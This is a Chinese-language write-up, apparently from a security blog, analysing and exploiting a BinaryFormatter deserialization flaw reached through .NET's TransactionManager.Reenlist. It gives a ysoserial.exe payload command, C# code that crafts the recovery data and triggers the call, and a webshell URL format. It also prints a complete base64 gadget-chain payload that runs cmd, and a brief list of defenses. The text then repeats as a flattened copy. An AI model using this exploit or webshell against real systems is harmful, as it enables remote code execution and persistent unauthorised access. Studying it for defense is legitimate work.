.NET 分布式事务反序列化漏洞
字数 1084 2025-08-23 18:31:24

.NET 分布式事务反序列化漏洞分析与利用

漏洞概述

本漏洞存在于.NET框架的System.Transactions命名空间中的TransactionManager类,特别是其Reenlist方法。该漏洞允许攻击者通过精心构造的序列化数据实现远程代码执行(RCE),属于反序列化类型的安全漏洞。

漏洞组件分析

TransactionManager 类

TransactionManager类属于System.Transactions命名空间,主要功能包括:

  • 协调和管理分布式事务
  • 提供事务的创建、提交、回滚等操作
  • 允许数据库、消息队列等资源参与到分布式事务中

Reenlist 方法

TransactionManager.Reenlist方法用于在事务处理过程中需要重新注册参与者时调用,确保事务处理的一致性。

方法签名:

public static Enlistment Reenlist(
    Guid resourceManagerIdentifier,
    byte[] recoveryInformation,
    IEnlistmentNotification enlistmentNotification
)

漏洞利用原理

  1. 反序列化触发点Reenlist方法内部最终会调用oletxResourceManager.Reenlist,其中使用了BinaryFormatter进行反序列化操作。

  2. 数据格式要求:传入的recoveryInformation字节数组的第一个字节必须为1,否则会提前返回。

  3. 恶意载荷构造:攻击者可以构造特定的序列化数据,当被反序列化时会执行任意代码。

漏洞利用步骤

1. 生成攻击载荷

使用Ysoserial.Net工具生成基于TextFormattingRunProperties攻击链的payload:

ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 -c "calc"

2. 构造恶意事务数据

byte[] serializedData = Convert.FromBase64String(payload);
byte[] newSerializedData = new byte[serializedData.Length + 5];
serializedData.CopyTo(newSerializedData, 5);
newSerializedData[0] = 1;  // 必须设置第一位为1

3. 触发漏洞

TestMe myTransactionEnlistment = new TestMe();
TransactionManager.Reenlist(Guid.NewGuid(), newSerializedData, myTransactionEnlistment);

Webshell利用

该漏洞可被改造为Webshell,实现命令执行功能:

Webshell示例

访问URL格式:

Sharp4TransactionManager.aspx?con=Base64编码的命令

示例命令

启动winver程序的payload:

Sharp4TransactionManager.aspx?con=AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAtQU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIHdpbnZlciIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L

防御措施

  1. 禁用BinaryFormatter:在应用程序中禁用BinaryFormatter或限制其使用。

  2. 输入验证:对所有传入TransactionManager.Reenlist方法的recoveryInformation数据进行严格验证。

  3. 更新.NET框架:应用最新的安全补丁。

  4. 使用替代方案:考虑使用其他事务管理机制,如TransactionScope

  5. 实施最小权限原则:运行应用程序的账户应具有最小必要权限。

总结

该漏洞利用.NET分布式事务处理中的反序列化机制,通过构造恶意的事务恢复数据实现远程代码执行。攻击者可以进一步将其武器化为Webshell,实现持久化访问。防御此类漏洞需要从代码层面和应用架构层面同时采取措施。

.NET 分布式事务反序列化漏洞分析与利用 漏洞概述 本漏洞存在于.NET框架的 System.Transactions 命名空间中的 TransactionManager 类,特别是其 Reenlist 方法。该漏洞允许攻击者通过精心构造的序列化数据实现远程代码执行(RCE),属于反序列化类型的安全漏洞。 漏洞组件分析 TransactionManager 类 TransactionManager 类属于 System.Transactions 命名空间,主要功能包括: 协调和管理分布式事务 提供事务的创建、提交、回滚等操作 允许数据库、消息队列等资源参与到分布式事务中 Reenlist 方法 TransactionManager.Reenlist 方法用于在事务处理过程中需要重新注册参与者时调用,确保事务处理的一致性。 方法签名: 漏洞利用原理 反序列化触发点 : Reenlist 方法内部最终会调用 oletxResourceManager.Reenlist ,其中使用了 BinaryFormatter 进行反序列化操作。 数据格式要求 :传入的 recoveryInformation 字节数组的第一个字节必须为1,否则会提前返回。 恶意载荷构造 :攻击者可以构造特定的序列化数据,当被反序列化时会执行任意代码。 漏洞利用步骤 1. 生成攻击载荷 使用Ysoserial.Net工具生成基于 TextFormattingRunProperties 攻击链的payload: 2. 构造恶意事务数据 3. 触发漏洞 Webshell利用 该漏洞可被改造为Webshell,实现命令执行功能: Webshell示例 访问URL格式: 示例命令 启动winver程序的payload: 防御措施 禁用BinaryFormatter :在应用程序中禁用 BinaryFormatter 或限制其使用。 输入验证 :对所有传入 TransactionManager.Reenlist 方法的 recoveryInformation 数据进行严格验证。 更新.NET框架 :应用最新的安全补丁。 使用替代方案 :考虑使用其他事务管理机制,如 TransactionScope 。 实施最小权限原则 :运行应用程序的账户应具有最小必要权限。 总结 该漏洞利用.NET分布式事务处理中的反序列化机制,通过构造恶意的事务恢复数据实现远程代码执行。攻击者可以进一步将其武器化为Webshell,实现持久化访问。防御此类漏洞需要从代码层面和应用架构层面同时采取措施。